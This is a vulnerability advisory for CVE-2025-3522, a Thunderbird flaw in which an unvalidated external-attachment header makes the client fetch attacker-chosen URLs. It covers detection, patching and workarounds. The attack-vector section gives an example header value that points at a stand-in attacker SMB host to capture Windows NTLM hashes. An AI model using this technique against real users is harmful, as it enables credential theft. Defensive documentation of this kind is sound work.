CVE-2025-3522: Thunderbird Information Disclosure Flaw

CVE-2025-3522 Overview

CVE-2025-3522 affects Mozilla Thunderbird versions prior to 137.0.2 and 128.9.2. The email client processes the X-Mozilla-External-Attachment-URL header without validation or sanitization. When Thunderbird opens a message, it fetches the URL specified in that header to determine attachment size. Attackers can point the header at internal resources such as chrome:// URIs or SMB file:// links. Loading an SMB path from a Windows host triggers NTLM authentication, leaking hashed Windows credentials to attacker-controlled servers. The flaw is categorized as an open redirect ([CWE-601]) and requires user interaction to escalate impact.

Critical Impact
Exposure of hashed Windows credentials through SMB URL handling and unauthorized access to internal browser resources via unvalidated attachment URLs.

Affected Products

Mozilla Thunderbird versions prior to 137.0.2
Mozilla Thunderbird ESR versions prior to 128.9.2
Windows-based Thunderbird installations (highest risk for credential leakage)

Discovery Timeline

2025-04-15 - CVE-2025-3522 published to NVD
2026-06-17 - Last updated in NVD database

Technical Details for CVE-2025-3522

Vulnerability Analysis

Thunderbird supports external attachments through the proprietary X-Mozilla-External-Attachment-URL message header. This header lets senders host attachment data on a remote server rather than embedding it in the message body. When a user opens an email containing this header, Thunderbird fetches the referenced URL to display the attachment's file size in the message pane.

The client performs no scheme allowlisting or sanitization on the header value. Attackers can specify any URI scheme Thunderbird's networking stack understands, including chrome://, file://, and smb:// on Windows. Opening the message triggers the fetch automatically, while clicking the attachment navigates the client to the same URL.

On Windows hosts, a file:// URL pointing to an attacker-controlled SMB share causes the operating system to authenticate to the remote host using NTLM. This transmits the current user's NetNTLMv2 hash, which attackers can crack offline or relay against other services.

Root Cause

The root cause is missing input validation on a URL provided in email content. Thunderbird treats the X-Mozilla-External-Attachment-URL value as a trusted resource identifier rather than untrusted attacker input. The client does not restrict URI schemes, block privileged origins like chrome://, or prevent outbound SMB connections initiated from message rendering.

Attack Vector

An attacker crafts an email containing an X-Mozilla-External-Attachment-URL header referencing an attacker-controlled SMB share, for example file://attacker.example.com/share/lure.pdf. When the victim opens the message, Thunderbird issues an outbound SMB connection to determine the file size. Windows automatically negotiates NTLM authentication with the remote server. The attacker's SMB responder captures the NetNTLMv2 challenge-response pair. Alternative payloads referencing chrome:// URIs enable access to internal browser resources not intended for remote loading.

The vulnerability manifests in Thunderbird's attachment header processing logic. See Mozilla Bug Report #1955372 for technical details.

Detection Methods for CVE-2025-3522

Indicators of Compromise

Outbound SMB (TCP/445) or NetBIOS (TCP/139) connections originating from thunderbird.exe to external IP addresses
Inbound emails containing the X-Mozilla-External-Attachment-URL header with file://, smb://, or chrome:// scheme values
Unexpected NTLM authentication attempts from user workstations to unknown external hosts
Thunderbird processes accessing internal chrome:// resources triggered by email rendering

Detection Strategies

Inspect inbound mail flow at the gateway for the X-Mozilla-External-Attachment-URL header and flag values referencing non-HTTPS schemes
Monitor endpoint telemetry for thunderbird.exe initiating SMB connections to non-corporate destinations
Correlate email delivery events with subsequent outbound authentication attempts from the recipient's workstation

Monitoring Recommendations

Enable process network telemetry on Windows endpoints running Thunderbird to capture parent-child relationships for external network calls
Alert on NTLM authentication events (Windows Event ID 4624 with logon type 3) targeting external destinations
Track Thunderbird version inventory across the fleet and flag installations below 137.0.2 or 128.9.2

How to Mitigate CVE-2025-3522

Immediate Actions Required

Update Thunderbird to version 137.0.2 or Thunderbird ESR to 128.9.2 on all endpoints
Block outbound SMB traffic (TCP/139 and TCP/445) at the perimeter firewall to prevent NTLM hash exfiltration
Configure mail gateways to strip or quarantine messages containing the X-Mozilla-External-Attachment-URL header until patching completes

Patch Information

Mozilla released fixes in Thunderbird 137.0.2 and Thunderbird ESR 128.9.2. Refer to Mozilla Security Advisory MFSA-2025-26 and Mozilla Security Advisory MFSA-2025-27 for release details. The patches add validation to reject non-web schemes in the external attachment URL header.

Workarounds

Restrict outbound SMB and NetBIOS traffic at network egress points to prevent credential leakage even if a malicious message is opened
Enforce the Windows Group Policy setting Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers to Deny all
Disable automatic message preview in Thunderbird so headers are not processed until the user explicitly opens a message

bash

# Windows Group Policy registry setting to block outgoing NTLM to remote servers
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" /v RestrictSendingNTLMTraffic /t REG_DWORD /d 2 /f